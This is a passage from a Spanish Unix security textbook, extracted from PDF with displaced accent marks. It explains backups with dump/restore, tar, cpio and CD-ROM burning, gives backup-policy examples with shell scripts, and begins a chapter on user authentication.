Unix, ufsdump/ufsrestore en Solaris. . . ), casi todas estas herramientas suelen presentar un grave problema a la hora de recuperar archivos: se trata de soft- ware propietario, por lo que si queremos restaurar total o parcialmente archivos almacenados con este tipo de programas, necesitamos el propio programa para hacerlo. En determinadas situaciones, esto no es posible o es muy dif´ ıcil: imaginemos un departamento que dispone de s´lo una estaci´n o o Silicon Graphics corriendo IRIX y pierde todos los datos de un disco, incluida la utilidad bru; si ha utilizado esta herramienta para realizar backups, necesitar´ otra estaci´n con el mismo operativo a o para poder restaurar estas copias, lo que obviamente puede ser problem´tico. a Por este motivo, muchos administradores utilizan herramientas est´ndar para realizar las copias a de seguridad de sus m´quinas; estas herramientas suelen ser tan simples como un shellscript que se a planifica para que autom´ticamente haga backups utilizando ´rdenes como tar o cpio, programas a o habituales en cualquier clon de Unix y que no presentan problemas de interoperabilidad entre difer- entes operativos. De esta forma, si en la estaci´n Silicon Graphics del ejemplo anterior se hubiera o utilizado tar para realizar las copias de seguridad, ´stas se podr´ restaurar sin problemas desde e ıan una m´quina sparc corriendo Solaris, y transferir los ficheros de nuevo a la Silicon. a 7.3.1 dump/restore La herramienta cl´sica para realizar backups en entornos Unix es desde hace a˜os dump, que vuelca a n sistemas de ficheros completos (una partici´n o una partici´n virtual en los sistemas que las so- o o portan, como Solaris); restore se utiliza para recuperar archivos de esas copias. Se trata de una utilidad disponible en la mayor´ de clones del sistema operativo1 , potente (no diremos ‘sencilla’) y ıa lo m´s importante: las copias son completamente compatibles entre Unices, de forma que por ejem- a plo podemos restaurar un backup realizado en IRIX en un sistema HP-UX. Adem´s, como veremos a luego, la mayor parte de las versiones de dump permiten realizar copias de seguridad sobre m´quinas a remotas directamente desde l´ ınea de ´rdenes (en el caso que la variante de nuestro sistema no lo o permita, podemos utilizar rdump/rrestore) sin m´s que indicar el nombre de m´quina precediendo a a al dispositivo donde se ha de realizar la copia. La sintaxis general de la orden dump es 1 HP-UX, IRIX, SunOS, Linux. . . en Solaris se llama ufsdump y en AIX backup.
- 124. 106 CAP´ ITULO 7. COPIAS DE SEGURIDAD Opci´n o Acci´n realizada o Argumento 0–9 Nivel de la copia de seguridad NO u Actualiza /etc/dumpdates al finalizar el backup NO f Indica una cinta diferente de la usada por defecto S´ I b Tama˜o de bloque n S´ I c Indica que la cinta destino es un cartucho NO W Ignora todas las opciones excepto el nivel del backup NO Tabla 7.2: Opciones de la orden dump dump opciones argumentos fs donde ‘opciones’ son las opciones de la copia de seguridad, ‘argumentos’ son los argumentos de dichas opciones, y ‘fs’ es el sistema de ficheros a salvaguardar. Se trata de una sintaxis algo peculiar: mientras que lo habitual en Unix es especificar cada argumento a continuaci´n de la op- o ci´n adecuada (por ejemplo, ‘find . -perm 700 -type f’ indica un argumento ‘700’ para la o opci´n ‘perm’ y uno ‘f’ para ‘type’), en la orden dump primero especificamos toda la lista de o opciones y a continuaci´n todos sus argumentos; no todas las opciones necesitan un argumento, y o adem´s la lista de argumentos tiene que corresponderse exactamente, en orden y n´mero, con las a u opciones que los necesitan (por ejemplo, si ‘find’ tuviera una sintaxis similar, la orden anterior se habr´ tecleado como ‘find . -perm -type 700 f’). AIX y Linux son los unicos Unices donde ıa ´ la sintaxis de dump (recordemos que en el primero se denomina backup) es la habitual. Las opciones de ‘dump’ m´s utilizadas son las que se muestran en la tabla 7.2; en las p´ginas a a man de cada clon de Unix se suelen incluir recomendaciones sobre par´metros espec´ a ıficos para modelos de cintas determinados, por lo que como siempre es m´s que recomendable su consulta. a Fij´ndonos en la tabla, podemos ver que la opci´n ‘u’ actualiza el archivo /etc/dumpdates tras a o realizar una copia de seguridad con ´xito; es conveniente que este archivo exista antes de utilizar e dump por primera vez (podemos crearlo con la orden touch), ya que si no existe no se almacenar´ a informaci´n sobre las copias de seguridad de cada sistema de ficheros (informaci´n necesaria, por o o ejemplo, para poder realizar backups progresivos). En este archivo dump – la propia orden lo hace, el administrador no necesita modificar el archivo a mano. . . y no debe hacerlo – registra informaci´no de las copias de cada sistema de archivos, su nivel, y la fecha de realizaci´n, de forma que su aspecto o puede ser similar al siguiente: anita:~# cat /etc/dumpdates /dev/dsk/c0d0s6 0 Thu Jun 22 05:34:20 CEST 2000 /dev/dsk/c0d0s7 2 Wed Jun 21 02:53:03 CEST 2000 anita:~# El uso de dump puede ser excesivamente complejo, especialmente en sistemas antiguos donde es incluso necesario especificar la densidad de la cinta en bytes por pulgada o su longitud en pies; no obstante, hoy en d´ la forma m´s habitual de invocar a esta orden es ‘dump [1-9]ucf cinta ıa a fs’, es decir, una copia de seguridad del sistema de ficheros recibido como argumento, de un determinado nivel y sobre la unidad de cinta especificada. Por ejemplo para realizar una copia de seguridad completa sobre la unidad de cinta /dev/rmt de la partici´n l´gica /dev/dsk/c0d0s7, en o o Solaris podemos utilizar la orden siguiente (podemos ver que nos muestra mucha informaci´n sobre o el progreso de nuestra copia de seguridad en cada momento): anita:~# ufsdump 0cuf /dev/rmt /dev/dsk/c0d0s7 DUMP: Date of this level 0 dump: Thu Jun 22 10:03:28 2000 DUMP: Date of last level 0 dump: the epoch DUMP: Dumping /dev/dsk/c0d0s7 (/export/home) to /dev/rmt DUMP: mapping (Pass I) [regular files] DUMP: mapping (Pass II) [directories] DUMP: estimated 24523 blocks (118796KB) DUMP: Writing 63 Kilobyte records
- 125. ´ 7.3. ALGUNAS ORDENES PARA REALIZAR COPIAS DE SEGURIDAD 107 Opci´n o Acci´n realizada o Argumento r Restaura la cinta completa NO f Indica el dispositivo o archivo donde est´ el backup a S´ I i Modo interactivo NO x Extrae los archivos y directorios desde el directorio actual NO t Imprime los nombres de los archivos de la cinta NO Tabla 7.3: Opciones de la orden restore DUMP: dumping (Pass III) [directories] DUMP: dumping (Pass IV) [regular files] DUMP: level 0 dump on Thu Jun 22 10:05:31 CEST 2000 DUMP: 24550 blocks (118927KB) on 1 volume DUMP: DUMP IS DONE anita:~# Para realizar copias remotas, como hemos dicho antes, no tenemos m´s que anteponer el nombre a del sistema donde deseemos realizar el volcado al nombre del dispositivo donde se va a almacenar, separado de ´ste por el car´cter ‘:’; opcionalmente se puede indicar el nombre de usuario en el e a sistema remoto, separ´ndolo del nombre de m´quina por ‘@’: a a anita:~# ufsdump 0cuf toni@luisa:/dev/st0 /dev/dsk/c0d0s7 Si estamos utilizando rdump, hemos de tener definido un nombre de m´quina denominado a ‘dumphost’ en nuestro archivo /etc/hosts, que ser´ el sistema donde se almacene la copia remo- a ta. De cualquier forma (usemos dump, ufsdump o rdump), el host remoto ha de considerarnos como una m´quina de confianza (a trav´s de /etc/hosts.equiv o .rhosts), con las consideraciones de a e seguridad que esto implica. ¿C´mo restaurar los backups realizados con dump? Para esta tarea se utiliza la utilidad restore o (ufsrestore en Solaris), capaz de extraer ficheros individuales, directorios o sistemas de archivos completos. La sintaxis de esta orden es restore opciones argumentos archivos donde ‘opciones’ y ‘argumentos’ tienen una forma similar a ‘dump’ (es decir, toda la lista de opciones seguida de toda la lista de argumentos de las mismas, excepto en AIX y Linux, donde la notaci´n es la habitual), y ‘archivos’ evidentemente representa una lista de directorios y ficheros o para restaurar. En la tabla 7.3 se muestra un resumen de las opciones m´s utilizadas. Por ejemplo, a imaginemos que deseamos restaurar varios archivos de un backup guardado en el fichero ‘backup’; en primer lugar podemos consultar el contenido de la cinta con una orden como la siguiente (en Linux): luisa:~# restore -t -f backup>contenido Level 0 dump of /home on luisa:/dev/hda3 Label: none luisa:~# cat contenido|more Dump date: Fri Jun 23 06:01:26 2000 Dumped from: the epoch 2 . 11 ./lost+found 30761 ./lost+found/#30761 30762 ./lost+found/#30762 30763 ./lost+found/#30763 30764 ./lost+found/#30764 30765 ./lost+found/#30765 30766 ./lost+found/#30766 30767 ./lost+found/#30767
- 126. 108 CAP´ ITULO 7. COPIAS DE SEGURIDAD 4097 ./ftp 8193 ./ftp/bin 8194 ./ftp/bin/compress 8195 ./ftp/bin/cpio 8196 ./ftp/bin/gzip 8197 ./ftp/bin/ls 8198 ./ftp/bin/sh 8199 ./ftp/bin/tar 8200 ./ftp/bin/zcat 12289 ./ftp/etc 12290 ./ftp/etc/group Broken pipe luisa:~# Una vez que conocemos el contenido de la copia de seguridad – y por tanto el nombre del archivo o archivos a restaurar – podemos extraer el fichero que nos interese con una orden como luisa:~# restore -x -f backup ./ftp/bin/tar You have not read any tapes yet. Unless you know which volume your file(s) are on you should start with the last volume and work towards the first. Specify next volume #: 1 set owner/mode for ’.’? [yn] n luisa:~# ls -l ftp/bin/tar ---x--x--x 1 root root 110668 Mar 21 1999 ftp/bin/tar luisa:~# Como podemos ver, la extracci´n se ha realizado a partir del directorio de trabajo actual; si o quisi´ramos extraer archivos en su ubicaci´n original deber´ e o ıamos hacerlo desde el directorio ade- cuado, o, en algunas versiones de restore, especificar dicho directorio en la l´ ınea de ´rdenes. o Una opci´n muy interesante ofrecida por restore es la posibilidad de trabajar en modo inter- o activo, mediante la opci´n ‘i’; en este modo, al usuario se le ofrece un prompt desde el cual puede, o por ejemplo, listar el contenido de una cinta, cambiar de directorio de trabajo o extraer archivos. El siguiente ejemplo (tambi´n sobre Linux) ilustra esta opci´n: e o luisa:~# restore -i -f backup restore > help Available commands are: ls [arg] - list directory cd arg - change directory pwd - print current directory add [arg] - add ‘arg’ to list of files to be extracted delete [arg] - delete ‘arg’ from list of files to be extracted extract - extract requested files setmodes - set modes of requested directories quit - immediately exit program what - list dump header information verbose - toggle verbose flag (useful with ‘‘ls’’) help or ‘?’ - print this list If no ‘arg’ is supplied, the current directory is used restore > ls .: ftp/ httpd/ httpsd/ lost+found/ samba/ toni/ restore > add httpd restore > extract You have not read any tapes yet. Unless you know which volume your file(s) are on you should start
- 127. ´ 7.3. ALGUNAS ORDENES PARA REALIZAR COPIAS DE SEGURIDAD 109 Opci´n o Acci´n realizada o c Crea un contenedor x Extrae archivos de un contenedor t Testea los archivos almacenados en un contenedor r A˜ade archivos al final de un contenedor n v Modo verbose f Especifica el nombre del contenedor Z Comprime o descomprime mediante compress/uncompress z Comprime o descomprime mediante gzip p Conserva los permisos de los ficheros Tabla 7.4: Opciones de la orden tar with the last volume and work towards the first. Specify next volume #: 1 set owner/mode for ’.’? [yn] n restore > quit luisa:~# Como podemos ver, hemos consultado el contenido de la copia de seguridad, a˜adido el directorio n httpd/ a la lista de ficheros a extraer (inicialmente vacia), y extra´ dicho directorio a partir del ıdo actual. Este uso de restore proporciona una gran comodidad y facilidad de uso, ya que las ´rdenes o en modo interactivo son muy sencillas. 7.3.2 La orden tar La utilidad tar (Tape Archiver) es una herramienta de f´cil manejo disponible en todas las ver- a siones de Unix que permite volcar ficheros individuales o directorios completos en un unico fichero; ´ inicialmente fu´ dise˜ada para crear archivos de cinta (esto es, para transferir archivos de un disco a e n una cinta magn´tica y viceversa), aunque en la actualidad casi todas sus versiones pueden utilizarse e para copiar a cualquier dipositivo o fichero, denominado ‘contenedor’. Su principal desventaja es que, bajo ciertas condiciones, si falla una porci´n del medio (por ejemplo, una cinta) se puede o perder toda la copia de seguridad; adem´s, tar no es capaz de realizar por s´ mismo m´s que copias a ı a de seguridad completas, por lo que hace falta un poco de programaci´n shellscripts para realizar o copias progresivas o diferenciales. En la tabla 7.4 se muestran las opciones de tar m´s habituales; algunas de ellas no est´n disponibles a a en todas las versiones de tar, por lo que es recomendable consultar la p´gina del manual de esta a orden antes de utilizarla. Si la implementaci´n de tar que existe en nuestro sistema no se ajusta a o nuestras necesidades, siempre podemos utilizar la versi´n de gnu (http://www.gnu.org/), quiz´s o a la m´s completa hoy en d´ En primer lugar debemos saber c´mo crear contenedores con los a ıa. o archivos deseados; por ejemplo, imaginemos que deseamos volcar todo el directorio /export/home/ a la unidad de cinta /dev/rmt/0. Esto lo conseguimos con la siguiente orden: anita:~# tar cvf /dev/rmt/0 /export/home/ Como podemos ver, estamos especificando juntas las diferentes opciones necesarias para hacer la copia de seguridad de los directorios de usuario; la opci´n ‘v’ no ser´ necesaria, pero es util para o ıa ´ ver un listado de lo que estamos almacenando en la cinta. En muchas situaciones tambi´n resulta e util comprimir la informaci´n guardada (tar no comprime, s´lo empaqueta); esto lo conseguir´ ´ o o ıamos con las opciones ‘cvzf’. Si en lugar de (o aparte de) un unico directorio con todos sus ficheros y subdirectorios quisi´ramos ´ e especificar m´ltiples archivos (o directorios), podemos indic´rselos uno a uno a tar en la l´ u a ınea de comandos; as´ mismo, podemos indicar un nombre de archivo contenedor en lugar de un dispositivo. ı Por ejemplo, la siguiente orden crear´ el fichero /tmp/backup.tar, que contendr´ /etc/passwd y a a /etc/hosts*:
- 128. 110 CAP´ ITULO 7. COPIAS DE SEGURIDAD anita:~# tar cvf /tmp/backup.tar /etc/passwd /etc/hosts* tar: Removing leading ‘/’ from absolute path names in the archive etc/passwd etc/hosts etc/hosts.allow etc/hosts.deny etc/hosts.equiv anita:~# Una vez creado el contenedor podemos testear su contenido con la opci´n ‘t’ para comprobar la o integridad del archivo, y tambi´n para ver qu´ ficheros se encuentran en su interior: e e anita:~# tar tvf /tmp/backup.tar -rw-r--r-- root/other 965 2000-03-11 03:41 etc/passwd -rw-r--r-- root/other 704 2000-03-14 00:56 etc/hosts -rw-r--r-- root/other 449 2000-02-17 01:48 etc/hosts.allow -rw-r--r-- root/other 305 1998-04-18 07:05 etc/hosts.deny -rw-r--r-- root/other 313 1994-03-16 03:30 etc/hosts.equiv -rw-r--r-- root/other 345 1999-10-13 03:31 etc/hosts.lpd anita:~# Si lo que queremos es recuperar ficheros guardados en un contenedor utilizaremos las opciones ‘xvf’ (o ‘xvzf’ si hemos utilizado compresi´n con gzip a la hora de crearlo). Podemos indicar el o archivo o archivos que queremos extraer; si no lo hacemos, se extraer´n todos: a anita:~# tar xvf /tmp/backup.tar etc/passwd etc/passwd anita:~# tar xvf /tmp/backup.tar etc/passwd etc/hosts etc/hosts.allow etc/hosts.deny etc/hosts.equiv etc/hosts.lpd anita:~# La restauraci´n se habr´ realizado desde el directorio de trabajo, creando en ´l un subdirectorio o a e etc con los ficheros correspondientes en su interior. Si queremos que los ficheros del contenedor sobreescriban a los que ya existen en el sistema hemos de desempaquetarlo en el directorio adecuado, en este caso el ra´ ız. 7.3.3 La orden cpio cpio (Copy In/Out) es una utilidad que permite copiar archivos a o desde un contenedor cpio, que no es m´s que un fichero que almacena otros archivos e informaci´n sobre ellos (permisos, nombres, a o propietario. . . ). Este contenedor puede ser un disco, otro archivo, una cinta o incluso una tuber´ ıa, mientras que los ficheros a copiar pueden ser archivos normales, pero tambi´n dispositivos o sis- e temas de ficheros completos. En la tabla 7.5 se muestran las opciones de cpio m´s utilizadas; la sintaxis de esta orden es a bastante m´s confusa que la de tar debido a la interpretaci´n de lo que cpio entiende por ‘dentro’ a o y ‘fuera’: copiar ‘fuera’ es generar un contenedor en salida est´ndar (que con toda probabilidad a desearemos redireccionar), mientras que copiar ‘dentro’ es lo contrario, es decir, extraer archivos de la entrada est´ndar (tambi´n es seguro que deberemos redireccionarla). a e Por ejemplo, si deseamos copiar los archivos de /export/home/ en el fichero contenedor /tmp/backup.cpio podemos utilizar la siguiente sintaxis: anita:~# find /export/home/ |cpio -o > /tmp/backup.cpio
- 129. ´ 7.3. ALGUNAS ORDENES PARA REALIZAR COPIAS DE SEGURIDAD 111 Opci´n o Acci´n realizada o o Copiar ‘fuera’ (out) i Copiar ‘dentro’ (in) m Conserva fecha y hora de los ficheros t Crea tabla de contenidos A A˜ade ficheros a un contenedor existente n v Modo verbose Tabla 7.5: Opciones de la orden cpio. Como podemos ver, cpio lee la entrada est´ndar esperando los nombres de ficheros a guardar, por a lo que es conveniente utilizarlo tras una tuber´ pas´ndole esos nombres de archivo. Adem´s, hemos ıa a a de redirigir su salida al nombre que queramos asignarle al contenedor, ya que de lo contrario se mostrar´ el resultado en salida est´ndar (lo que evidentemente no es muy utilizado para realizar ıa a backups). Podemos fijarnos tambi´n en que estamos usando la orden ‘find’ en lugar de un simple e ‘ls’: esto es debido a que ‘ls’ mostrar´ s´lo el nombre de cada fichero (por ejemplo, ‘passwd’) ıa o en lugar de su ruta completa (‘/etc/passwd’), por lo que cpio buscar´ dichos ficheros a partir ıa del directorio actual. Una vez creado el fichero contenedor quiz´s resulte interesante chequear su contenido, con la opci´n a o ‘t’. Por ejemplo, la siguiente orden mostrar´ en pantalla el contenido de /tmp/backup.cpio: a anita:~# cpio -t < /tmp/backup.cpio Igual que para almacenar ficheros en un contenedor hemos de pasarle a cpio la ruta de los mismos, para extraerlos hemos de hacer lo mismo; si no indicamos lo contrario, cpio -i extraer´ todos los a archivos de un contenedor, pero si s´lo nos interesan algunos de ellos podemos especificar su nombre o de la siguiente forma: anita:~# echo "/export/home/toni/hola.tex" |cpio -i </tmp/backup.cpio Para conocer m´s profundamente el funcionamiento de cpio, as´ como opciones propias de cada a ı implementaci´n, es indispensable consultar la p´gina del manual de esta orden en cada clon de o a Unix donde vayamos a utilizarla. 7.3.4 Backups sobre CD-ROM Como antes hemos dicho, cada vez es m´s com´n que se realicen copias de seguridad sobre discos a u compactos; en estos casos no se suelen utilizar las aplicaciones vistas hasta ahora (tar o cpio), sino que se necesita un software dedicado: aqu´ vamos a comentar las nociones m´s b´sicas para ı a a poder crear backups sobre este medio. Para poder grabar una copia de seguridad en un CD-ROM necesitamos en primer lugar que el n´cleo del sistema operativo reconozca nuestra grabadora como u tal; si se trata de una IDE, y dependiendo del clon de Unix utilizado, quiz´s sea necesario modificar a el kernel, ya que el acceso que los diferentes programas realizan al dispositivo se efectua a trav´s de e un interfaz SCSI del n´cleo. Es necesario consultar la documentaci´n y la lista de compatibilidad u o hardware para cada Unix particular. Si asumimos que el reconocimiento del dispositivo es correcto, lo que necesitamos a continuaci´n es o software capaz de grabar un CD-ROM. Por un lado es necesario un programa para crear im´genesa ISO, el ‘molde’ de lo que ser´ el futuro CD-ROM; el m´s conocido es sin duda mkisofs. Adem´s a a a necesitaremos un programa para realizar lo que es la grabaci´n en s´ como cdrecord. De esta for- o ı, ma lo primero que generaremos es una imagen de los ficheros a grabar, imagen que a continuaci´n o pasaremos al CD-ROM; por ejemplo, si queremos hacer un backup de /export/home/, en primer lugar utilizaremos mkisofs para crear una imagen con todos los ficheros y subdirectorios de los usuarios: anita:~# mkisofs -a -R -l -o /mnt/imagen.iso /export/home/
- 130. 112 CAP´ ITULO 7. COPIAS DE SEGURIDAD Con esta orden hemos creado una imagen ISO denominada /mnt/imagen.iso y que contiene toda la estructura de directorios por debajo de /export/home/; con las diferentes opciones hemos indicado que se almacenen todos los ficheros, que se sigan los enlaces simb´licos y que se registre adem´s o a informaci´n sobre los permisos de cada archivo. Una vez que tenemos esta imagen (que en los Unices o con soporte para sistemas de ficheros loop podremos montar como si se tratara de una partici´n, o para a˜adir, borrar, modificar. . . ficheros antes de la grabaci´n) hemos de pasarla a un CD-ROM, n o por ejemplo mediante cdrecord: anita:~# cdrecord dev=0,1,0 fs=16m /mnt/imagen.iso Con esta orden le hemos indicado al sistema la ubicaci´n de nuestra grabadora, as´ como un buffer o ı de grabaci´n de 16MB y tambi´n la ubicaci´n de la imagen ISO. o e o Algo muy interesante es la posibilidad de grabar sin necesidad de crear primero im´genes con a los ficheros que queremos meter en un CD-ROM; esto nos ahorrar´ tiempo (y sobre todo, espacio a en disco) a la hora de realizar copias de seguridad, adem´s de permitir una mayor automatizaci´n a o del proceso. Para ello, debemos calcular con mkisofs el espacio que ocupan los ficheros a grabar (con la opci´n ‘-print-size’), y posteriormente pasarle este valor a cdrecord; podemos hacerlo o de forma autom´tica, por ejemplo tal y como muestra el siguiente programa: a anita:~# cat ‘which graba-cd‘ #!/bin/sh # Vuelca el directorio pasado como parametro, y todos sus descendientes, # en un CD-ROM MKISOFS=/usr/local/bin/mkisofs CDRECORD=/usr/local/bin/cdrecord if (test $# -lt 1); then echo "Usage: $0 /files" exit fi size=‘$MKISOFS -r -J -l -print-size -f $1 2>&1|tail -1|awk ’{print $8}’‘ nice --20 $MKISOFS -r -J -l -f $1 | nice --20 $CDRECORD dev=0,1,0 fs=16m tsize=$size*2048 -eject - anita:~# Como vemos, se asigna el tama˜o de los datos a grabar a la variable ‘size’, y despu´s se pasa n e este n´mero a cdrecord; de esta forma, para realizar una copia de seguridad de un directorio u como /export/home/toni/, no tenemos m´s que ejecutar el shellscript pas´ndole el nombre de a a este directorio como par´metro. a 7.4 Pol´ ıticas de copias de seguridad La forma m´s elemental de realizar una copia de seguridad consiste simplemente en volcar los a archivos a salvaguardar a un dispositivo de backup, con el procedimiento que sea; por ejemplo, si deseamos guardar todo el contenido del directorio /export/home/, podemos empaquetarlo en un archivo, comprimirlo y a continuaci´n almacenarlo en una cinta: o anita:~# tar cf backup.tar /export/home/ anita:~# compress backup.tar anita:~# dd if=backup.tar.Z of=/dev/rmt/0 Si en lugar de una cinta quisi´ramos utilizar otro disco duro, por ejemplo montado en /mnt/, e podemos simplemente copiar los ficheros deseados: anita:~# cp -rp /export/home/ /mnt/ Esta forma de realizar backups volcando en el dispositivo de copia los archivos o directorios deseados se denomina copia de seguridad completa o de nivel 0. Unix utiliza el concepto de nivel de copia de seguridad para distinguir diferentes tipos de backups: una copia de cierto nivel almacena los
- 131. 7.4. POL´ ITICAS DE COPIAS DE SEGURIDAD 113 archivos modificados desde el ultimo backup de nivel inferior. As´ las copias completas son, por ´ ı, definici´n, las de nivel 0; las copias de nivel 1 guardan los archivos modificados desde la ultima o ´ copia de nivel 0 (es decir, desde el ultimo backup completo), mientras que las de nivel 2 guardan ´ los archivos modificados desde la ultima copia de nivel 1, y as´ sucesivamente (en realidad, el nivel ´ ı m´ximo utilizado en la pr´ctica es el 2). a a Como hemos dicho, las copias completas constituyen la pol´ ıtica m´s b´sica para realizar back- a a ups, y como todas las pol´ ıticas tiene ventajas e inconvenientes; la principal ventaja de las copias completas es su facilidad de realizaci´n y, dependiendo del mecanismo utilizado, la facilidad que o ofrecen para restaurar ficheros en algunas situaciones: si nos hemos limitado a copiar una serie de directorios a otro disco y necesitamos restaurar cierto archivo, no tenemos m´s que montar el disco a de backup y copiar el fichero solicitado a su ubicaci´n original. o Sin embargo, las copias completas presentan graves inconvenientes; uno de ellos es la dificultad para restaurar ficheros si utilizamos m´ltiples dispositivos de copia de seguridad (por ejemplo, u varias cintas). Otro inconveniente, m´s importante, de las copias de nivel 0 es la cantidad de recur- a sos que consumen, tanto en tiempo como en hardware; para solucionar el problema de la cantidad de recursos utilizados aparece el concepto de copia de seguridad incremental. Un backup incremental o progresivo consiste en copiar s´lamente los archivos que han cambiado desde la realizaci´n de o o otra copia (incremental o total). Por ejemplo, si hace una semana realizamos un backup de nivel 0 en nuestro sistema y deseamos una copia incremental con respecto a ´l, hemos de guardar los e ficheros modificados en los ultimos siete d´ (copia de nivel 1); podemos localizar estos ficheros con ´ ıas la orden find: anita:~# find /export/home/ -mtime 7 -print Si hace un d´ ya realizamos una copia incremental y ahora queremos hacer otra copia progresiva ıa con respecto a ella, hemos de almacenar unicamente los archivos modificados en las ultimas 24 ´ ´ horas (copia de nivel 2); como antes, podemos utilizar find para localizar los archivos modificados en este intervalo de tiempo: anita:~# find /export/home/ -mtime 1 -print Esta pol´ ıtica de realizar copias de seguridad sobre la ultima progresiva se denomina de copia de ´ seguridad diferencial. La principal ventaja de las copias progresivas es que requieren menos tiempo para ser realizadas y menos capacidad de almacenamiento que las completas; sin embargo, como desventajas tenemos que la restauraci´n de ficheros puede ser m´s compleja que con las copias de nivel 0, y tambi´n o a e que un solo fallo en uno de los dispositivos de almacenamiento puede provocar la p´rdida de gran e cantidad de archivos; para restaurar completamente un sistema, debemos restaurar la copia m´s a reciente de cada nivel, en orden, comenzando por la de nivel 0. De esta forma, parece l´gico que la o estrategia seguida sea un t´rmino medio entre las vistas aqu´ una pol´ e ı, ıtica de copias de seguridad que mezcle el enfoque completo y el progresivo: una estrategia muy habitual, tanto por su simpleza como porque no requiere mucho hardware consiste en realizar peri´dicamente copias de seguridad o de nivel 0, y entre ellas realizar ciertas copias progresivas de nivel 1. Por ejemplo, imaginemos un departamento que decide realizar cada domingo una copia de seguridad completa de sus directorios de usuario y de /etc/, y una progresiva sobre ella, pero s´lo de los directorios de usuario, cada d´ o ıa lectivo de la semana. Un shellscript que realize esta tarea puede ser el siguiente: #!/bin/sh DIA=‘date +%a‘ # Dia de la semana DIREC="/tmp/backup/" # Un directorio para hacer el backup hazback () { cd $DIREC tar cf backup.tar $FILES compress backup.tar dd if=backup.tar.Z of=/dev/rmt/0
- 132. 114 CAP´ ITULO 7. COPIAS DE SEGURIDAD rm -f backup.tar.Z } if [ ! -d $DIREC ]; then # No existe $DIREC mkdir -p $DIREC chmod 700 $DIREC # Por seguridad else rm -rf $DIREC mkdir -p $DIREC chmod 700 $DIREC fi; case $DIA in "Mon") # Lunes, progresiva FILES=‘find /export/home/ -mtime 1 -print‘ hazback ;; "Tue") # Martes, progresiva FILES=‘find /export/home/ -mtime 2 -print‘ hazback ;; "Wed") # Miercoles, progresiva FILES=‘find /export/home/ -mtime 3 -print‘ hazback ;; "Thu") # Jueves, progresiva FILES=‘find /export/home/ -mtime 4 -print‘ hazback ;; "Fri") # Viernes, progresiva FILES=‘find /export/home/ -mtime 5 -print‘ hazback ;; "Sat") # Sabado, descansamos... ;; "Sun") # Domingo, copia completa de /export/home y /etc FILES="/export/home/ /etc/" hazback ;; esac Este programa determina el d´ de la semana y en funci´n de ´l realiza – o no, si es s´bado – ıa o e a una copia de los ficheros correspondientes (n´tese el uso de las comillas inversas en la orden find). o Podr´ıamos automatizarlo mediante la facilidad cron de nuestro sistema para que se ejecute, por ejemplo, cada d´ a las tres del mediod´ (una hora en la que la actividad del sistema no ser´ muy ıa ıa a alta); de esta forma, como administradores, s´lo deber´ o ıamos preocuparnos por cambiar las cintas cada d´ y dejar una preparada para el fin de semana. Si decidimos planificarlo para que se ejecute ıa, de madrugada, hemos de tener en cuenta que el backup de un lunes de madrugada, antes de llegar al trabajo, puede sobreescribir el completo, realizado el domingo de madrugada, por lo que habr´ ıa
- 133. 7.4. POL´ ITICAS DE COPIAS DE SEGURIDAD 115 que modificar el shellscript; tambi´n hemos de estar atentos a situaciones inesperadas, como que no e existan archivos a copiar o que nuestro sistema no disponga del suficiente disco duro para almacenar temporalmente la copia. El medio de almacenamiento tambi´n es importante a la hora de dise˜ar una pol´ e n ıtica de copias de seguridad correcta. Si se trata de dispositivos baratos, como los CD-ROMs, no suele haber mu- chos problemas: para cada volcado (sea del tipo que sea) se utiliza una unidad diferente, unidad que adem´s no se suele volver a utilizar a no ser que se necesite recuperar los datos; el uso de unidades a regrabables en este caso es minoritario y poco recomendable, por lo que no vamos a entrar en ´l. No e obstante, algo muy diferente son los medios de almacenamiento m´s caros, generalmente las cintas a magn´ticas; al ser ahora el precio algo a tener m´s en cuenta, lo habitual es reutilizar unidades, e a sobreescribir las copias de seguridad m´s antiguas con otras m´s actualizadas. Esto puede llegar a a a convertirse en un grave problema si por cualquier motivo reutilizamos cintas de las que necesitamos recuperar informaci´n; aparte del desgaste f´ o ısico del medio, podemos llegar a extremos en los que se pierda toda la informaci´n guardada: imaginemos, por ejemplo, que s´lo utilizamos una cinta o o de 8mm. para crear backups del sistema: aunque habitualmente todo funcione correctamente (se cumple de forma estricta la pol´ ıtica de copias, se verifican, se almacenan en un lugar seguro. . . ), puede darse el caso de que durante el proceso de copia se produzca un incendio en la sala de op- eraciones, incendio que destruir´ tanto nuestro sistema como la cinta donde guardamos su backup, a con lo que habremos perdido toda nuestra informaci´n. Aunque este es un ejemplo quiz´s algo o a extremo, podemos pensar en lugares donde se utilicen de forma incorrecta varios juegos de copias o en situaciones en las que el sistema se corrompe (no ha de tratarse necesariamente de algo tan poco frecuente como un incendio, sino que se puede tratar de un simple corte de fluido el´ctricoe que da˜e los discos); debemos asegurarnos siempre de que podremos recuperar con una probabili- n dad alta la ultima copia de seguridad realizada sobre cada archivo importante de nuestro sistema, ´ especialmente sobre las bases de datos.
- 134. 116 CAP´ ITULO 7. COPIAS DE SEGURIDAD
- 135. Cap´ ıtulo 8 Autenticaci´n de usuarios o 8.1 Introducci´n y conceptos b´sicos o a Ya sabemos que unos requerimientos primordiales de los sistemas inform´ticos que desempe˜an a n tareas importantes son los mecanismo de seguridad adecuados a la informaci´n que se intenta pro- o teger; el conjunto de tales mecanismos ha de incluir al menos un sistema que permita identificar a las entidades (elementos activos del sistema, generalmente usuarios) que intentan acceder a los objetos (elementos pasivos, como ficheros o capacidad de c´mputo), mediante procesos tan simples o como una contrase˜a o tan complejos como un dispositivo analizador de patrones retinales. n Los sistemas que habitualmente utilizamos los humanos para identificar a una persona, como el aspecto f´ısico o la forma de hablar, son demasiado complejos para una computadora; el objetivo de los sistemas de identificaci´n de usuarios no suele ser identificar a una persona, sino autenticar o que esa persona es quien dice ser realmente. Aunque como humanos seguramente ambos t´rminos e nos parecer´n equivalentes, para un ordenador existe una gran diferencia entre ellos: imaginemos a un potencial sistema de identificaci´n estrictamente hablando, por ejemplo uno biom´trico basado o e en el reconocimiento de la retina; una persona mirar´ a trav´s del dispositivo lector, y el sistema ıa e ser´ capaz de decidir si es un usuario v´lido, y en ese caso decir de qui´n se trata; esto es identifi- ıa a e caci´n. Sin embargo, lo que habitualmente hace el usuario es introducir su identidad (un n´mero, o u un nombre de usuario. . . ) adem´s de mostrar sus retinas ante el lector; el sistema en este caso no a tiene que identificar a esa persona, sino autenticarlo: comprobar los par´metros de la retina que a est´ leyendo con los guardados en una base de datos para el usuario que la persona dice ser: estamos a reduciendo el problema de una poblaci´n potencialmente muy elevada a un grupo de usuarios m´s o a reducido, el grupo de usuarios del sistema que necesita autenticarlos. Los m´todos de autenticaci´n se 